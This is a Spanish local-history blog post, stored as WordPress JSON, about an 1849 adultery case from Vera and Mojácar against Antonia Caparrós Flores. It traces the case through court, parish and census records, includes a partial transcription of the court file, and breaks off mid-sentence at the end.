{"id":1417,"date":"2015-10-19T07:31:32","date_gmt":"2015-10-19T07:31:32","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=1417"},"modified":"2018-01-15T13:29:04","modified_gmt":"2018-01-15T13:29:04","slug":"las-liviandades-de-la-misteriosa-joven-y-humilde-antonia-mojacar-vera-1849","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2015\/10\/19\/las-liviandades-de-la-misteriosa-joven-y-humilde-antonia-mojacar-vera-1849\/","title":{"rendered":"LAS LIVIANDADES DE LA MISTERIOSA, JOVEN Y HUMILDE ANTONIA. MOJ\u00c1CAR-VERA, 1849"},"content":{"rendered":"<p>1849, mayo, 3. Vera<\/p>\n<p>Criminal a instancia de Pedro Garc\u00eda Gallardo, vecino de Moj\u00e1car, contra Antonia Caparr\u00f3s Flores, su mujer, y Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n, vecinos de Vera, sobre adulterio. 37 fols.<\/p>\n<p><!--more--><\/p>\n<p>El tres de mayo de <b>1849<\/b> Pedro Garc\u00eda Gallardo, jornalero pobre y \u201ccasi inh\u00e1bil\u201d, con dificultades para trabajar y corto de vista, casado con Antonia Caparr\u00f3s Flores [03-04-1826], mucho m\u00e1s joven que \u00e9l (era una ni\u00f1a de 13 a\u00f1os cuando contrajo matrimonio), vecinos de Moj\u00e1car, denuncia por <b>adulterio<\/b> en el juzgado de Vera por la v\u00eda criminal a su esposa y a su supuesto amante. Afirmaba tener la seguridad de que, despu\u00e9s de haber estado separado de ella durante varios a\u00f1os debido a la vida licenciosa de \u00e9sta (y durante m\u00e1s de un a\u00f1o en Ja\u00e9n trabajando por cuenta ajena, desde mayo de 1848), adem\u00e1s de haber hecho vida marital con el hombre viudo al que serv\u00eda en Vera desde junio de 1848 (calle La Luna), <b>Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n<\/b> (jornalero), por haber tenido, supuestamente, un hijo de dicho hombre y (como despu\u00e9s se ver\u00e1), haber intentado registrar en los libros de bautizos de la Iglesia como padre al tal Jos\u00e9 Antonio en vez de a \u00e9l.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/cocina-ochocentista-mujer.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-medium wp-image-1418\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/cocina-ochocentista-mujer-300x272.jpg\" alt=\"cocina ochocentista mujer\" width=\"300\" height=\"272\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/cocina-ochocentista-mujer-300x272.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/cocina-ochocentista-mujer.jpg 642w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Pedro no explica qu\u00e9 entiende \u00e9l por \u201cvida <b>licenciosa<\/b>\u201d, ya que prefiere no describir las supuestas situaciones escabrosas por \u201cno ofender el decoro del tribunal\u201d, lo que nos limita mucho a la hora de estudiar el comportamiento de los vecinos mediado el siglo XIX. Finalmente, suplica que ingresen en la c\u00e1rcel de Vera los supuestos ad\u00falteros y sean embargados todos sus bienes, para los gastos del juicio. El juez no ve suficientes pruebas para encarcelarlos.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/mojaqueras-2\u00e7.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-1423\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/mojaqueras-2\u00e7.jpg\" alt=\"mojaqueras 2\u00e7\" width=\"280\" height=\"199\" \/><\/a><\/p>\n<p>Los testigos presentados por el demandante (de Moj\u00e1car), efectivamente, afirman que Antonia fue a <b>servir<\/b> a la casa de Jos\u00e9 Antonio (viudo de Beatriz Soler) a primeros del mes de junio de 1848, un mes despu\u00e9s de marcharse su marido a trabajar y, como \u00e9l mismo afirma, dada ya a su mujer por perdida. Suponemos que Antonia, siendo consciente de la pobreza de su marido, el mojaquero Pedro, (pobreza que certifica el procurador y el juez de Vera con el fin de no pagar las costas del juicio), y por motivo de las largas ausencias de su marido (justificadas o no), se vio empujada a ganarse el pan sirviendo en la casa del veratense viudo, padre de tres hijos. En el expediente echamos de menos la declaraci\u00f3n de los imputados. Su visi\u00f3n de las cosas.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/lavanderas-mitad-xix.jpg\"><img decoding=\"async\" class=\"alignnone size-medium wp-image-1421\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/lavanderas-mitad-xix-300x269.jpg\" alt=\"lavanderas mitad xix\" width=\"300\" height=\"269\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/lavanderas-mitad-xix-300x269.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/lavanderas-mitad-xix.jpg 648w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Durante ese tiempo algunos <b>testigos<\/b>, sorprendidos, la vieron por las calles de Vera en estado de buena esperanza, los que aseguran que ya viv\u00eda con Jos\u00e9 Antonio bajo el mismo techo, haciendo <b>vida marital<\/b>. Incluso inform\u00f3 a una de ellas que el nombre de su hijo, en el caso de ser var\u00f3n, ser\u00eda el nombre de su benefactor y no el de su marido leg\u00edtimo; le pondr\u00eda el nombre de Jos\u00e9 Antonio. Y, efectivamente, eso hace, consultados los libros de bautizos del <b>Archivo Parroquial de Vera<\/b>, registrado su nacimiento el d\u00eda 27-04-1849, siendo bautizado el dos de mayo.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/lavandera-horta.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1420\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/lavandera-horta-300x266.jpg\" alt=\"lavandera horta\" width=\"300\" height=\"266\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/lavandera-horta-300x266.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/lavandera-horta.jpg 664w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Ante las acusaciones de Pedro, los curas de Vera niegan que en sus libros de bautizo hayan registrado como padre a Jos\u00e9 Antonio, al vecino de Vera, sino al leg\u00edtimo padre, el demandante Pedro Garc\u00eda Gallardo. Y, consultados dichos libros, comprobamos que los curas dec\u00edan la verdad.<\/p>\n<p>Y en esto que Pedro Garc\u00eda <b>Gallardo <\/b><b>vuelve de Ja\u00e9n<\/b>, se entera del nacimiento del supuesto hijo natural de su mujer y, con el fin de que el esc\u00e1ndalo no llegue a m\u00e1s y de limpiar para siempre su dignidad, decide denunciar. Tambi\u00e9n solicita que el <b>m\u00e9dico<\/b> y el <b>cirujano<\/b> de Vera reconozcan y examinen a Antonia y declaren si es cierto que dio a luz a un ni\u00f1o durante esos d\u00edas. Los m\u00e9dicos, tras encontrar a la vecina en la puerta de la casa de la calle de La Luna, dando el pecho al ni\u00f1o y con aparente mala salud, certifican que as\u00ed es en un informe del que aconsejo su lectura.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/parto-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1419\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/parto-2.jpg\" alt=\"parto 2\" width=\"265\" height=\"188\" \/><\/a><\/p>\n<p>En el expediente del juzgado no se a\u00f1ade nada m\u00e1s a partir de primeros de junio de 1849, despu\u00e9s de las declaraciones de los curas de Vera.<\/p>\n<p>Los \u00faltimos datos que merecen nuestro inter\u00e9s, recogidos en el Archivo Municipal de Vera, son los de los libros de <b>Registro Civil<\/b> de aquellos a\u00f1os; Antonia Caparr\u00f3s Flores y Pedro Garc\u00eda Gallardo, despu\u00e9s de estos a\u00f1os, fueron padres leg\u00edtimos de tres hijos m\u00e1s, registrados civilmente en el municipio de Vera (1854, 1857, 1859).<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/parto.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1426\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/parto-300x225.jpg\" alt=\"parto\" width=\"300\" height=\"225\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/parto-300x225.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/parto.jpg 400w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><b>El el padr\u00f3n de habitantes de Vera del a\u00f1o 1862<\/b> leemos que en la calle Hileros ya estaba viviendo la \u201cpareja de hecho\u201d con cuatro hijos tenidos de esa relaci\u00f3n. El primer hijo, el de la discordia, Jos\u00e9 Antonio, ya ten\u00eda 13 a\u00f1os. En un margen del registro leemos que escribi\u00f3 el encargado de escribir el padr\u00f3n: \u201cde Moj\u00e1car. Nota: estos est\u00e1n amancebados\u201d, y \u201cestos son hijos de la Antonia\u201d.<\/p>\n<p>Los hijos toman el segundo apellido de la madre, &#8216;Flores&#8217;, descartando el de &#8216;Caparr\u00f3s&#8217;.<\/p>\n<p><b>En el padr\u00f3n de habitantes de Vera del a\u00f1o 1872<\/b> aparece la casa de Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n como hombre casado (no viudo), Antonia Caparr\u00f3s Flores (de profesi\u00f3n, criada), y todos los hijos tenidos con Antonio Garc\u00eda Gallardo. Es decir: Antonia Caparr\u00f3s Flores, en 1872 no s\u00f3lo sigue viviendo en Vera, sino que adem\u00e1s lo hace con los hijos tenidos con su marido leg\u00edtimo.<\/p>\n<p>Es curioso observar c\u00f3mo, al llevar tanto Jos\u00e9 Antonio como Pedro el mismo primer apellido de &#8216;Garc\u00eda&#8217; dificulta saber qu\u00e9 ocurri\u00f3 con la vida de Antonia y su descendencia (se a\u00f1ade a ello que el segundo apellido que los hijos llevan en el padr\u00f3n es el segundo apellido de ella, &#8216;Flores&#8217;, lo que confunde m\u00e1s).<\/p>\n<p>El primer hijo tenido, Juan Antonio, de 23 a\u00f1os, aunque no lo indique, viv\u00eda en otra casa (calle del Sol), la del labrador Sebasti\u00e1n de Haro Cazorla, junto a una mujer, de la que tampoco se indica su edad, llamada Teresa Montero. Lo m\u00e1s seguro es que Jos\u00e9 ayudara en las tareas del campo.<\/p>\n<p>Pero en este padr\u00f3n de habitantes nos espera <b>otra sorpresa<\/b>: una ni\u00f1a de cuatro a\u00f1os. Efectivamente, Antonia Caparr\u00f3s se ofrece para dar de lactar a una ni\u00f1a expuesta en el torno de las Hermanas de la Congregaci\u00f3n de las Hijas de la Caridad, de Vera, en 24-02-<b>1868<\/b>. La bautizan con el nombre de <b>Juana Modesta<\/b>. Antonia y Pedro (\u00bfO es Jos\u00e9 Antonio?) le dan sus apellidos: &#8216;Garc\u00eda Caparr\u00f3s&#8217;. \u00bfFue un gesto de generosidad y abnegaci\u00f3n por parte de Antonia o era su propia hija? Curiosamente, Juana era el nombre de la madre de Antonia y las Hermanas sol\u00edan poner el nombre del santoral correspondiente a ese d\u00eda, a menos que la madre biol\u00f3gica dejara el nombre deseado del nacido escrito en un papel y metido entre las ropas del ni\u00f1o.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/inclusa1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1430\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/inclusa1-300x173.jpg\" alt=\"inclusa[1]\" width=\"300\" height=\"173\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/inclusa1-300x173.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/inclusa1.jpg 400w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Es obvio que Pedro no consigui\u00f3 ni la c\u00e1rcel para los demandados ni la <b>nulidad<\/b> matrimonial, pues cinco a\u00f1os despu\u00e9s tuvieron su segundo hijo, a menos que Antonia utilizara el mismo m\u00e9todo para engendrarlo y bautizarlo.<\/p>\n<p>En el a\u00f1o <b>1888<\/b> ya no aparecen viviendo ni en la calle Hileros ni el calle Luna. Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n (jornalero) muri\u00f3 a los 75 a\u00f1os de edad, en <b>07-04-1885<\/b>, de gangrena. En el registro de sepelios indica que era marido de Beatriz Soler. No otorg\u00f3 testamento por carecer de bienes. \u00bfQu\u00e9 fue de Antonia y de sus hijos tras la muerte de Jos\u00e9 Antonio? Algunos de sus hijos siguieron viviendo en Vera y aqu\u00ed se casaron. \u00bfVolvi\u00f3 Antonia a Moj\u00e1car? Se qued\u00f3 sola y sin recursos a los 59 a\u00f1os.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/amancebados-y-mujeres-p\u00fablicas-detalle-nov\u00edsima-detalle.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1431\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/amancebados-y-mujeres-p\u00fablicas-detalle-nov\u00edsima-detalle-300x53.jpg\" alt=\"amancebados y mujeres p\u00fablicas detalle nov\u00edsima detalle\" width=\"300\" height=\"53\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/amancebados-y-mujeres-p\u00fablicas-detalle-nov\u00edsima-detalle-300x53.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/amancebados-y-mujeres-p\u00fablicas-detalle-nov\u00edsima-detalle.jpg 428w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>La legislaci\u00f3n de la \u00e9poca era muy clara a este respecto. En la <i><b>Nov\u00edsima Recopilaci\u00f3n<\/b><\/i>, todav\u00eda en vigor, hasta muy pocos a\u00f1os despu\u00e9s, en el Libro XII, T\u00edtulo XXVI, \u201cDe los amancebados y mujeres p\u00fablicas\u201d, Ley II, leemos:<\/p>\n<p align=\"center\"><i>Pena del que tenga por manceba p\u00fablica muger casada; y del casado que viviere en casa de la manceba, dexando la de su muger.<\/i><\/p>\n<p align=\"center\"><i>Mandamos que qualquier hombre que muger agena sacare, y la tuviere p\u00fablicamente por manceba, seyendo requerido por el Alcalde o por su marido, que la entregue a la Justicia, y no lo quisiere facer, y le fuere probado, dem\u00e1s de la pena del Derecho, pierda la mitad de los bienes, y sean para la C\u00e1mara: y ans\u00edmismo sean la mitad de los bienes para la C\u00e1mara, del hombre que tuviere muger a ley y bendici\u00f3n de la santa madre Iglesia, y toma manceba, y vive con ella juntamente en una casa, y no en casa con su muger.<\/i><\/p>\n<p align=\"center\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/detalle-de-los-ad\u00falteros-y-b\u00edgamos-nov\u00edsima-rec.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1432\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/detalle-de-los-ad\u00falteros-y-b\u00edgamos-nov\u00edsima-rec-300x104.jpg\" alt=\"detalle de los ad\u00falteros y b\u00edgamos nov\u00edsima rec\" width=\"300\" height=\"104\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/detalle-de-los-ad\u00falteros-y-b\u00edgamos-nov\u00edsima-rec-300x104.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/detalle-de-los-ad\u00falteros-y-b\u00edgamos-nov\u00edsima-rec.jpg 652w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p align=\"justify\">En el t\u00edtulo XXVIII, <i>De los ad\u00falteros y b\u00edgamos<\/i>, leemos:<\/p>\n<p align=\"center\"><i>Si muger casada ficiere adulterio, ella y el adulterador ambos sean en poder del marido, y faga dellos lo que quisiere, y de quanto han, as\u00ed que no pueda matar al uno, y dexar al otro: pero si hijos derechos hobieren ambos, o el uno dellos, hereden sus bienes: y si por ventura la muger no fue en culpa, y fuere forzada, no haya pena.<\/i><\/p>\n<p>As\u00ed, este asunto de la infidelidad de Antonia Caparr\u00f3s Flores provoca, burla burlando, <b>m\u00e1s preguntas que respuestas<\/b>. \u00bfActu\u00f3 as\u00ed Antonia por el abandono en que -seguramente en contra de su deseo- la ten\u00eda su esposo debido a sus largas ausencias?\u00bfEra la naturaleza de Antonia como la insin\u00faa su c\u00f3nyuge, o la describe as\u00ed para justificar la separaci\u00f3n?\u00bfSe unen estas dos circunstancias para que se desate el esc\u00e1ndalo? No qued\u00e1ndonos duda de que su reto\u00f1o fue engendrado con el veratense, \u00bffue el primer hijo de Antonia fruto de una relaci\u00f3n voluntaria y consentida con Jos\u00e9 Antonio, vecino de Vera o su contratador actu\u00f3 escud\u00e1ndose en la debilidad econ\u00f3mica de la denunciada?\u00bfFue la pobreza la causa principal de todo este embrollo?\u00bfPor qu\u00e9 siguieron teniendo hijos Antonia y Pedro tras todo este asunto?\u00bfSiguieron siendo hijos de Jos\u00e9 Antonio?\u00bfFue Antonia la madre de la ni\u00f1a exp\u00f3sita Juana Modesta?\u00bfSi fue as\u00ed, por qu\u00e9 escondi\u00f3 dicha maternidad?\u00bfPor qu\u00e9 la Justicia de Vera no actu\u00f3, a juzgar por el contenido del expediente?<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/mojaqueras-41.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1434\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/10\/mojaqueras-41-226x300.gif\" alt=\"mojaqueras 4\" width=\"226\" height=\"300\" \/><\/a><\/p>\n<p><u><b>A continuaci\u00f3n mostramos la transcripci\u00f3n casi completa del expediente. Espero les parezca interesante.<\/b><\/u><\/p>\n<p>El tres de mayo de 1849, Pedro Garc\u00eda Gallardo, vecino de Moj\u00e1car, presenta una demanda en el Juzgado de primera instancia de Vera. En \u00e9l contaba que en agosto de 1838 hab\u00eda tomado por esposa a Antonia Caparr\u00f3s Flores [03-04-1826], que s\u00f3lo contaba con trece a\u00f1os de edad. Indica que a pesar de su edad ya mostraba un desarrollo f\u00edsico y moral &#8216;demasiado precoz&#8217; y como persona de recto juicio y de una honradez sin tacha entre los que la conoc\u00edan. Desgraciadamente, a los pocos d\u00edas de su uni\u00f3n principi\u00f3 a desmentir su consorte el buen concepto en que generalmente se le ten\u00eda, permiti\u00e9ndose libertades impropias de toda mujer honrada y principalmente del estado en que se encontraba y desconociendo la autoridad de que [a su marido] le hab\u00eda resvestido respecto de ella las leyes humanas y divinas en virtud de su matrimonio, hecho cargo, sin embargo, de sus pocos a\u00f1os y de su juicio, lejos de estar completamente formado, pod\u00eda decirse que a\u00fan no hab\u00edan principiado para ella los primeros albores de la raz\u00f3n corregida suavemente, m\u00e1s bien como padre que como marido, pero [\u2026] \u00e9l descaminado de que sus exhortaciones fueron vanas y esteriles los consejos que le daba como no sembrados en campo si..par de justificaci\u00f3n sino m\u00e1s de mil.<\/p>\n<p>A pesar de todo ello segu\u00eda unido a su consorte animado con la esperanza de que alg\u00fan d\u00eda se reformar\u00edan sus malos h\u00e1bitos y llegar\u00eda a conocer los deberes que la suponen las leyes como mujer casada, si su raz\u00f3n pod\u00eda desarrollarse al trav\u00e9s de los da\u00f1ados instintos y desenfrenadas pasiones que la dominaban; empero mi esperanza salieron fallidas por esta vez, como hab\u00edan salido siempre que llevado del mejor deseo me hab\u00eda prometido en algunas reformas en las costumbres de mi c\u00f3nyuge. Lejos Sr. de apartarse \u00e9sta de las tendada (sic) que una depravada situaci\u00f3n le hab\u00eda arrojado, a pesar del correctivo de mis consejos y de mis exhortaciones, entreg\u00f3se conforme hab\u00eda acordado el tiempo despu\u00e9s de los primeros d\u00edas de nuestro matrimonio a todo g\u00e9nero de excesos y liviandades, llevando con falta de pudor en el a\u00f1o pasado de mil ochocientos cuarenta y seis hasta el extremo del ausentarse de nuestra casa morada sin motivada e intempestivamente y de llegarme con descaro el h\u00e1bito? Que como mujer unida a m\u00ed por los sagrados v\u00ednculos del matrimonio me deb\u00eda. Desde esta fecha principi\u00f3 Sr. en mi consorte una nueva \u00e9poca de esc\u00e1ndalos y de libertinaje que no referimos detalladamente por que creer\u00edamos ofender con ellos el decoro que se debe a el tribunal. Baste decir que yo me di por contento y muy satisfecho con su depravaci\u00f3n y que la reput\u00e9 como una mujer per[dida] en adelante para siempre.<\/p>\n<p>Con la m\u00e1s profunda angustia en el coraz\u00f3n con la conducta de mi c\u00f3nyuge y deseoso de no presenciar sus esc\u00e1ndalos ausent\u00e9me de este Pa\u00eds en los primeros d\u00edas del mes de mayo del a\u00f1o pasado de mil ochocientos cuarenta y ocho con direcci\u00f3n al Reino de Ja\u00e9n en donde permanec\u00ed ocupado en las faenas de mi oficio hasta habiendo estado el mes de agosto siguiente en que regres\u00e9 al pueblo de mi domicilio. A mi vuelta encontr\u00e9 que la antedicha mi consorte se hab\u00eda arruinado? Y estaba haciendo p\u00fablica la vida marital con el referido Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n [27-04-1808], vida la que continu\u00f3 a pesar de mis amonestaciones. Como supon\u00eda de todo punto su corregible a mi c\u00f3nyuge en sus excesos y desenfrenada conducta, no quise dar por autorizar paso alguno judicial para reprimirla, pero hoy las cosas con avieso aspecto me impelen a ello, bien a pesar m\u00edo por que el esc\u00e1ndalo y la inmoralidad de esa mujer han llegado ya a una altura en que no puedo dispensarme sin grave perjuicio de mis derechos y de mi decoro el ejercitar las acciones que conceden las leyes a todo marido contra la mujer ad\u00faltera seg\u00fan p\u00fablicamente consta hace pocos d\u00edas que la antedicha mi consorte ha dado a luz un ni\u00f1o en la casa morada del Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n [seg\u00fan libro de bautizos, nacido el 27-04-1849, Jos\u00e9 Antonio], en cuya compa\u00f1\u00eda no ha cesado de vivir desde la \u00e9poca citada, ni\u00f1o concebido en el crimen e hijo del adulterio de que acuso a mi consorte y al Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n y de que uno y otra hacen alarde ostensiblemente si para cubrir su ignonimia?, parece que han tratado de que esa inocente criatura, oprobio y bald\u00f3n de sus padres, lleve sus apellidos, suponi\u00e9ndolo como prole leg\u00edtima.<\/p>\n<p>Por desgracia de ambos ad\u00falteros, consta p\u00fablicamente y probar\u00e9 en su d\u00eda que desde la inesperada separaci\u00f3n de mi consorte en el a\u00f1o pasado de mil ochocientos cuarenta y seis de la casa de mi morada, no he cohabitado con ella fruto expreso? de su adulterio ese ni\u00f1o que quieren apropiarse para cubrir su deshonra, constituyendo \u00e9l por s\u00ed s\u00f3lo una prueba p\u00e1lpitante del crimen que han cometido el Jos\u00e9 Antonio Garc\u00eda y su manceba. Cometer adulterio, ha dicho la ley, la mujer casada que yace con var\u00f3n que no sea su marido y el que yace con ella sabiendo que es casada, aunque despu\u00e9s se declare nulo el matrimonio, circunstancias todas que esac[roto] miente se acomodan al hecho que de [roto] presenciamos. Y pasa que en su d\u00eda recaiga sobre ambos culpables el castigo a que se han hecho acreedores seg\u00fan la ley.<\/p>\n<p><b>Suplico a VS. Que habiendo por presentado este escrito y admiti\u00e9ndome a su tenor sumaria informaci\u00f3n de testigos <\/b><b>que ofrezco en el acto sobre la certeza de los hechos anteriormente consignados, hecha la bastante se sirva mandar se constituyan en juriscio? en las c\u00e1rceles<\/b> p\u00fablicas de esta Ciudad al Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n y a la Antonia Caparr\u00f3s Flores, mi consorte, a quienes se reciba en tiempo su indagatoria, d\u00e1ndose por toda la informaci\u00f3n de esta causa a S Excelencia la adjudicaci\u00f3n del territorio por conducto del Ilustr\u00edsimo Sr. Regente mas al efecto [ilegible] es la que se me conceda de las diligencias que se act\u00faan, protesto acusar \u2026 en forma a dichos reos a pedir lo que convenga a su derecho. Pido justicia con costa, juro no proceder de malicia y de&#8230; necesario.<\/p>\n<p>1.\u00ba Otrosi. Digo: Que para acreditar en parte la certeza de algunos de los hechos de que dejo hecho m\u00e9rito en el ingreso de este escrito, conviene a mi derecho y:<\/p>\n<p>A VS. Suplico se sirva mandar se traiga a estos autos la partida de mi matrimonio con la Antonia Caparr\u00f3s Flores, que debe radi[car] en los libros parroquiales de la expresada Ciudad de Moj\u00e1car, para lo cual se libre el oportuno oficio al Sr. Cura [\u2026]<\/p>\n<p>2.\u00ba Otrosi. Digo: que al mismo objeto por lo anteriormente pretendido \u2026 tambi\u00e9n conducente se traiga a estas diligencias la partida de bautismo [\u2026]<\/p>\n<p>3.\u00ba Otrosi. Digo: que la justa de la Justicia que dijo ofrecida en lo principal de este escrito interesa tambi\u00e9n a la defensa de mi derecho que por los facultativos de Medicina y Cirug\u00eda titulares de esta Ciudad sea <b>reconocida detenidamente<\/b> la Antonia Caparr\u00f3s Flores y su ni\u00f1o, que actualmente est\u00e1 lactando y despu\u00e9s de ello confirmaren a declarar bajo de juramento manifestando si en la Antonia se observa se\u00f1al de parto reciente, indicando el d\u00eda en que pudiera verificarse; si tambi\u00e9n se nota en la misma se\u00f1ales de ocuparse actualmente en la lactancia de alg\u00fan ni\u00f1o, y respecto de este, digan los d\u00edas que pueda contar de vida desde su nacimiento [\u2026]<\/p>\n<p>4.\u00ba Otrosi. Digo, que practicada que sea lo anterior [\u2026] proceda al <b>embargo<\/b> de cuantos bienes resulten ser de la Justicia [\u2026] y otro reo, constituy\u00e9ndose en seguro dep\u00f3sito de persona que pueda responder de ello y de los frutos que produzcan en lo sucesivo. Pido justicia.<\/p>\n<p>5.\u00ba Otrosi: Digo que soy absolutamente <b>pobre<\/b>, por lo que:<\/p>\n<p>A Vuestra Se\u00f1or\u00eda suplico que admiti\u00e9ndome sumaria informaci\u00f3n sobre dicho extremo, hecha la bastante y previa las citaciones debidas, sin perjuicio de cuanto anteriormente [\u2026] solicitad en el ingreso y parecer otrosi de este escrito, se sirva declararme por pobre para litigar y mandar se me ayude y se me defienda [\u2026].<\/p>\n<p>Vera, tres de mayo de mil ochocientos cuarenta y nueve. Licenciado Luis Gim\u00e9nez.<\/p>\n<p>Se solicita el informe de pobreza al juez de Moj\u00e1car (fol. 9). Se recibe dicho informe.<\/p>\n<p><b>Primer testigo<\/b>: Francisco Mart\u00ednez Cano, vecino de la ciudad de Moj\u00e1car. Al testigo le consta que el demandante estaba separado de su mujer desde hac\u00eda <b>5 \u00f3 6 a\u00f1os<\/b> y se ausent\u00f3 para la Andaluc\u00eda en mayo del \u00faltimo pasado y no regres\u00f3 hasta agosto siguiente. Que la citada mujer salt\u00f3 de la referida poblaci\u00f3n en Junio del mismo a\u00f1o pr\u00f3ximo anterior y dijo de p\u00fablico se hab\u00eda venido a esta Ciudad [Vera] y puesto al servicio dom\u00e9stico de un hombre casado. Que es cuanto sabe.<\/p>\n<p><b>2.\u00ba testigo<\/b>. Pedro Torres Flores. Vecino de la ciudad de Moj\u00e1car.<\/p>\n<p><b>3.\u00ba testigo<\/b>. Mart\u00edn Ruiz Quiles.<\/p>\n<p>12 r\u00ba. <b>Declaraci\u00f3n de los facultativos<\/b>. Parecieron los facultativos don Salvador Gonz\u00e1lez y don Manuel Vicente? Mart\u00ednez, m\u00e9dico y cirujano titulares de la misma.<\/p>\n<p>Habi\u00e9ndose constituido en una de las casas de la Calle de Hileros de esta ciudad, encontraron en ella a Antonia Caparr\u00f3s Flores sentada en una silla con ni\u00f1o de pecho en los brazos a quien en este momento lactaba, en la cual se observaba desde luego cierto grado de enflaquecimiento no habitual en la misma y un color p\u00e1lido que parec\u00eda denotar haber padecido pocos d\u00edas antes alguna enfermedad o indisposici\u00f3n molesta de la que principiara a convalecer. Que habi\u00e9ndola (sic) manifestado el objeto de su visita e invit\u00e1ndola a que se dejase reconocer, como el tribunal lo ten\u00eda mandado, no tuvo dificultad en prestarse a ello, verific\u00e1ndose un examen minucioso que se hizo en el acto y que dio por resultado la existencia de signos positivos y auxiliares de haber parido pocos d\u00edas hac\u00eda. Que, aunque confiesa haber tenido anteriormente dos otros partos y que, seg\u00fan el estado de las paredes abdominales, parecen haberse verificado, circunstancia que aten\u00faa los signos que debieron ostentar las partes externas de la generaci\u00f3n, se nota, sin embargo, un ligero punteado rojo y un escaso grado de irritaci\u00f3n en la mucosa de los grandes labios, marcando todo por el color y calor de la membrana que reviste a aqu\u00e9llas y que se nota haber experimentado cierta violencia reciente. Que por el orificio de la vagina se destila cierta cantidad de humor sero-lactiforme que man[cha] la camisa con tinta especial y desprende un ligero olor caracter\u00edstico de la purgaci\u00f3n, lo cual: olor que para la particular impresi\u00f3n que 